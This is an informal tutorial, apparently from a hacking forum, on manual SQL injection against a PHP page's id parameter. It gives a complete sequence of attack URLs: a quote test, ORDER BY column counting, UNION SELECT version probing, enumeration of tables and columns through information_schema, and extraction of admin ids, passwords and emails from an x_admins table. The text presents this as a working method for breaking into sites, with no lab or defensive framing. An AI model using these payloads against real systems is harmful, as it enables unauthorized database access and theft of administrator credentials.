Sqli Injecting Manually :)

Injecting a site
now you got your vulnerable site
http://www.site.comnews.php/?id=-17' add ' to the end to check if its vulnerable
it gets error,i know its vulnerable so i remove the ' and do
http://www.site.com/news.php?id=17 order by 1--
http://www.site.com/news.php?id=17 order by 2--
http://www.site.com/news.php?id=17 order by 3--
No errors i continue etc etc
i finally get an error when i do like below
http://www.site.com/news.php?id=17 order by 13--
so this tells me 13 columns dont exist,so there must be 12 columns in the database
so next i do the UNION SELECT function as shown below
http://www.site.com/news.php?id=-17 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12-- (note make sure to add a - in between = 17 like =-17 in the ID)
i Hit enter
Numbers 4 and 5 appear,this means data can be extracted from numbers for and five
I Replace 4 in the url with @@version so it now looks like
http://www.site.com/news.php?id=-17 UNION SELECT 1,2,3,@@version,5,6,7,8,9,10,11,12--
The i hit enter
5.0.32-Debian_7etch8-log
^this is the mysql version running,So its running version 5 that helps alot,(versions 4 and below we have the guess the table name's)
Now
Where we put @@version (4th spot)
Replace it with
group_concat(table_name) <<gets table name
like
http://www.site.com/news.php?id=-17 UNION SELECT 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12--
And at the end of union select string remove the -- after the 12 and add
+from+information_schema.tables+where+table_schema=database()--
So it now looks like
http://www.site.com/news.php?id=-17 UNION SELECT 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12 +from+information_schema.tables+where+table_schema=database()--
i Now see
x_admins,x_articles,x_ban,x_banners,x_banners_info,x_comments,x_file_categories, ​ x_file_data,x_forum_a,x_forum_b,x_forum_c,x_gbook,x_infopages,x_links_categories ​ ,x_links_data,x_mails,x_menu,x_news,x_poll_data,x_poll_desc,x_pw,x_topic,x_users ​
Now replace group_Concat(table_name) with group_concat(column_name) and everything after union select 5,6,7,8,9,10,11,12 with
+from+information_schema.columns+where+table_name='x_admins'--
so it goes from
http://www.site.com/news.php?id=-17 UNION SELECT 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12 +from+information_schema.tables+where+table_schema=database()--
TO
http://www.site/news.php?id=-17 UNION SELECT 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12 +from+information_schema.columns+where+table_name='x_admins'--
we see id,nick,pass,name,added,access,mail,stat
Learn about grouping at this point but now we add
group_concat(id,0x3a,pass,0x3a,mail) to were the group_concat(column_name) is and add +from+x_admins-- after 10,11,12
So the string becomes
http://www.site.com/news.php?id=-17 UNION SELECT 1,2,3,group_concat(id,0x3a,pass,0x3a,mail),5,6,7,8,9,10,11,12 +from+x_admins--
At this point we obtain the admins password